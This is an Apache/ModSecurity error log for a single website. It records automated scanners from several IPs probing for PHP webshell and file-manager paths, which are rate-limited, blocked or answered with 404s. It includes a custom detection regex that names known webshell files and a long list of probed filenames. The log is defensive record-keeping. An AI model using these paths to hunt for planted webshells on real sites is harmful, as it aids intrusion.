[Thu Apr 02 06:50:26.015585 2026] [:error] [pid 59305:tid 59325] [client 20.223.180.142:21045] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "ac2hMqr2tV4rDwKFxKcc_wAAANA"]
[Thu Apr 02 06:50:26.566872 2026] [:error] [pid 59194:tid 59216] [client 20.223.180.142:50120] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "ac2hMhMpAeV11hcQehzk4QAAAAM"]
[Thu Apr 02 06:50:27.148810 2026] [:error] [pid 59194:tid 59231] [client 20.223.180.142:65339] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "ac2hMxMpAeV11hcQehzk5AAAABI"]
[Thu Apr 02 06:50:27.833390 2026] [:error] [pid 29467:tid 29483] [client 20.223.180.142:20999] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac2hM74VUBFCJAq-WOkwtAAAAQ0"]
[Thu Apr 02 06:50:28.381654 2026] [:error] [pid 59194:tid 59221] [client 20.223.180.142:58402] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac2hNBMpAeV11hcQehzk7AAAAAg"]
[Thu Apr 02 06:50:28.983631 2026] [:error] [pid 59194:tid 59236] [client 20.223.180.142:50113] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac2hNBMpAeV11hcQehzk8AAAABc"]
[Thu Apr 02 06:50:29.560214 2026] [:error] [pid 59201:tid 59291] [client 20.223.180.142:43925] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "ac2hNcAC0Tw8eL6gzZ6OeQAAAJg"]
[Thu Apr 02 06:50:30.082324 2026] [:error] [pid 59201:tid 59288] [client 20.223.180.142:43966] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac2hNsAC0Tw8eL6gzZ6OfAAAAJU"]
[Thu Apr 02 06:50:30.623880 2026] [:error] [pid 59201:tid 59284] [client 20.223.180.142:65295] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac2hNsAC0Tw8eL6gzZ6OfwAAAJE"]
[Thu Apr 02 06:50:31.139634 2026] [:error] [pid 59201:tid 59280] [client 20.223.180.142:65325] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac2hN8AC0Tw8eL6gzZ6OggAAAI0"]
[Thu Apr 02 06:50:31.643586 2026] [:error] [pid 29467:tid 29486] [client 20.223.180.142:65296] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "ac2hN74VUBFCJAq-WOkwtQAAARA"]
[Thu Apr 02 06:50:32.166116 2026] [:error] [pid 29467:tid 29470] [client 20.223.180.142:58368] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "ac2hOL4VUBFCJAq-WOkwuAAAAQA"]
[Thu Apr 02 06:50:32.693097 2026] [:error] [pid 59201:tid 59290] [client 20.223.180.142:20960] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "ac2hOMAC0Tw8eL6gzZ6OiQAAAJc"]
[Thu Apr 02 06:50:33.213079 2026] [:error] [pid 29467:tid 29491] [client 20.223.180.142:65330] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "ac2hOb4VUBFCJAq-WOkwwAAAARU"]
[Thu Apr 02 06:50:33.737652 2026] [:error] [pid 29467:tid 29474] [client 20.223.180.142:20928] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "ac2hOb4VUBFCJAq-WOkwwgAAAQQ"]
[Thu Apr 02 06:50:34.238800 2026] [:error] [pid 59194:tid 59235] [client 20.223.180.142:43948] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ac2hOhMpAeV11hcQehzk-QAAABY"]
[Thu Apr 02 06:50:34.751678 2026] [:error] [pid 59201:tid 59277] [client 20.223.180.142:21040] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ac2hOsAC0Tw8eL6gzZ6OjQAAAIo"]
[Thu Apr 02 06:50:35.253293 2026] [:error] [pid 29467:tid 29486] [client 20.223.180.142:43913] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ac2hO74VUBFCJAq-WOkwxgAAARA"]
[Thu Apr 02 06:50:35.761146 2026] [:error] [pid 37543:tid 37558] [client 20.223.180.142:20957] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "ac2hO3hdk2bEYJCvILYxYwAAAU0"]
[Thu Apr 02 06:50:36.264751 2026] [:error] [pid 29467:tid 29490] [client 20.223.180.142:43947] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hPL4VUBFCJAq-WOkwywAAARQ"]
[Thu Apr 02 06:50:36.788925 2026] [:error] [pid 29467:tid 29479] [client 20.223.180.142:50173] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hPL4VUBFCJAq-WOkwzQAAAQk"]
[Thu Apr 02 06:50:37.295283 2026] [:error] [pid 59201:tid 59276] [client 20.223.180.142:40585] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hPcAC0Tw8eL6gzZ6OlQAAAIk"]
[Thu Apr 02 06:50:37.815682 2026] [:error] [pid 29467:tid 29487] [client 20.223.180.142:43904] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hPb4VUBFCJAq-WOkw1AAAARE"]
[Thu Apr 02 06:50:38.317376 2026] [:error] [pid 37543:tid 37560] [client 20.223.180.142:62816] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "ac2hPnhdk2bEYJCvILYxZAAAAU8"]
[Thu Apr 02 06:50:38.819586 2026] [:error] [pid 29467:tid 29471] [client 20.223.180.142:20988] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "ac2hPr4VUBFCJAq-WOkw3AAAAQE"]
[Thu Apr 02 06:50:39.329651 2026] [:error] [pid 59201:tid 59273] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/file-gertdxz.php
[Thu Apr 02 06:50:39.587475 2026] [:error] [pid 59201:tid 59267] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/export.php
[Thu Apr 02 06:50:39.850159 2026] [:error] [pid 59201:tid 59274] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/55.php
[Thu Apr 02 06:50:40.105507 2026] [:error] [pid 59201:tid 59275] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/mmp.php
[Thu Apr 02 06:50:40.359452 2026] [:error] [pid 59201:tid 59285] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/rrr.php
[Thu Apr 02 06:50:40.635384 2026] [:error] [pid 59201:tid 59287] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/un.php
[Thu Apr 02 06:50:40.889938 2026] [:error] [pid 59201:tid 59288] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Thu Apr 02 06:50:41.143832 2026] [:error] [pid 59201:tid 59278] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/ianmg.php
[Thu Apr 02 06:50:41.400447 2026] [:error] [pid 59201:tid 59273] [client 20.223.180.142:50146] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-block.php
[Thu Apr 02 07:02:40.057998 2026] [:error] [pid 37543:tid 37561] [client 74.248.113.81:18482] [client 74.248.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2kEHhdk2bEYJCvILY3RAAAAVA"]
[Thu Apr 02 07:02:40.567873 2026] [:error] [pid 29467:tid 29481] [client 74.248.113.81:27685] [client 74.248.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2kEL4VUBFCJAq-WOk0eAAAAQs"]
[Thu Apr 02 07:02:41.079741 2026] [:error] [pid 29467:tid 29485] [client 74.248.113.81:16509] [client 74.248.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2kEb4VUBFCJAq-WOk0fwAAAQ8"]
[Thu Apr 02 07:02:41.592823 2026] [:error] [pid 29467:tid 29487] [client 74.248.113.81:16508] [client 74.248.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2kEb4VUBFCJAq-WOk0hAAAARE"]
[Thu Apr 02 13:17:10.001402 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Thu Apr 02 13:17:10.101800 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 02 13:17:10.199755 2026] [:error] [pid 29467:tid 29477] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 02 13:17:10.301461 2026] [:error] [pid 29467:tid 29488] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 02 13:17:10.395198 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 02 13:17:10.490860 2026] [:error] [pid 29467:tid 29485] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 02 13:17:10.587994 2026] [:error] [pid 29467:tid 29482] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 02 13:17:10.682784 2026] [:error] [pid 29467:tid 29492] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 02 13:17:10.776017 2026] [:error] [pid 29467:tid 29478] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 02 13:17:10.975781 2026] [:error] [pid 29467:tid 29489] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 02 13:17:11.084540 2026] [:error] [pid 29467:tid 29493] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 02 13:17:11.180827 2026] [:error] [pid 29467:tid 29471] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 02 13:17:11.279960 2026] [:error] [pid 29467:tid 29490] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 02 13:17:11.372669 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 02 13:17:11.469411 2026] [:error] [pid 29467:tid 29486] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 02 13:17:11.565588 2026] [:error] [pid 29467:tid 29480] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 02 13:17:11.660756 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 02 13:17:11.755130 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 02 13:17:11.849485 2026] [:error] [pid 29467:tid 29476] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu Apr 02 13:17:11.944153 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 02 13:17:12.038246 2026] [:error] [pid 29467:tid 29477] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 02 13:17:12.134518 2026] [:error] [pid 29467:tid 29488] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Thu Apr 02 13:17:12.228523 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu Apr 02 13:17:12.417804 2026] [:error] [pid 29467:tid 29482] [client 151.240.33.19:48272] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Thu Apr 02 13:17:12.511499 2026] [:error] [pid 29467:tid 29492] [client 151.240.33.19:48272] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "ac372L4VUBFCJAq-WOmcVQAAARY"]
[Thu Apr 02 13:17:12.716942 2026] [:error] [pid 59305:tid 59312] [client 151.240.33.19:48438] File does not exist: /usr/local/apache/htdocs/suspended-page/wsax.php
[Thu Apr 02 13:17:12.817700 2026] [:error] [pid 59305:tid 59322] [client 151.240.33.19:48438] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "ac372Kr2tV4rDwKFxKevIQAAAM0"]
[Thu Apr 02 13:17:13.000515 2026] [:error] [pid 23927:tid 23933] [client 151.240.33.19:48456] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Thu Apr 02 13:17:13.093170 2026] [:error] [pid 23927:tid 23950] [client 151.240.33.19:48456] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Thu Apr 02 13:17:13.187883 2026] [:error] [pid 23927:tid 23935] [client 151.240.33.19:48456] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Thu Apr 02 13:17:13.281009 2026] [:error] [pid 23927:tid 23939] [client 151.240.33.19:48456] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "ac372UsZwqCndhl9uKAGJAAAAYo"]
[Thu Apr 02 13:17:13.469818 2026] [:error] [pid 29467:tid 29494] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Thu Apr 02 13:17:13.563182 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Thu Apr 02 13:17:13.656926 2026] [:error] [pid 29467:tid 29491] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Thu Apr 02 13:17:13.756562 2026] [:error] [pid 29467:tid 29486] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/goat.php
[Thu Apr 02 13:17:13.851845 2026] [:error] [pid 29467:tid 29480] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Thu Apr 02 13:17:13.948159 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu Apr 02 13:17:14.041622 2026] [:error] [pid 29467:tid 29476] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Thu Apr 02 13:17:14.134364 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Thu Apr 02 13:17:14.230851 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Thu Apr 02 13:17:14.328228 2026] [:error] [pid 29467:tid 29485] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Thu Apr 02 13:17:14.424204 2026] [:error] [pid 29467:tid 29482] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Thu Apr 02 13:17:14.518824 2026] [:error] [pid 29467:tid 29473] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Thu Apr 02 13:17:14.612288 2026] [:error] [pid 29467:tid 29492] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Thu Apr 02 13:17:14.705508 2026] [:error] [pid 29467:tid 29478] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Thu Apr 02 13:17:14.799517 2026] [:error] [pid 29467:tid 29483] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Thu Apr 02 13:17:14.909589 2026] [:error] [pid 29467:tid 29481] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Thu Apr 02 13:17:15.002852 2026] [:error] [pid 29467:tid 29489] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Thu Apr 02 13:17:15.115923 2026] [:error] [pid 29467:tid 29494] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Thu Apr 02 13:17:15.209983 2026] [:error] [pid 29467:tid 29471] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Thu Apr 02 13:17:15.308470 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Thu Apr 02 13:17:15.401425 2026] [:error] [pid 29467:tid 29491] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu Apr 02 13:17:15.497255 2026] [:error] [pid 29467:tid 29486] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Thu Apr 02 13:17:15.597753 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Apr 02 13:17:15.711440 2026] [:error] [pid 29467:tid 29484] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Thu Apr 02 13:17:15.808598 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Thu Apr 02 13:17:15.904721 2026] [:error] [pid 29467:tid 29476] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Thu Apr 02 13:17:16.009270 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Thu Apr 02 13:17:16.112270 2026] [:error] [pid 29467:tid 29477] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Thu Apr 02 13:17:16.210633 2026] [:error] [pid 29467:tid 29488] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Thu Apr 02 13:17:16.307909 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/top.php
[Thu Apr 02 13:17:16.402852 2026] [:error] [pid 29467:tid 29482] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Thu Apr 02 13:17:16.497774 2026] [:error] [pid 29467:tid 29473] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
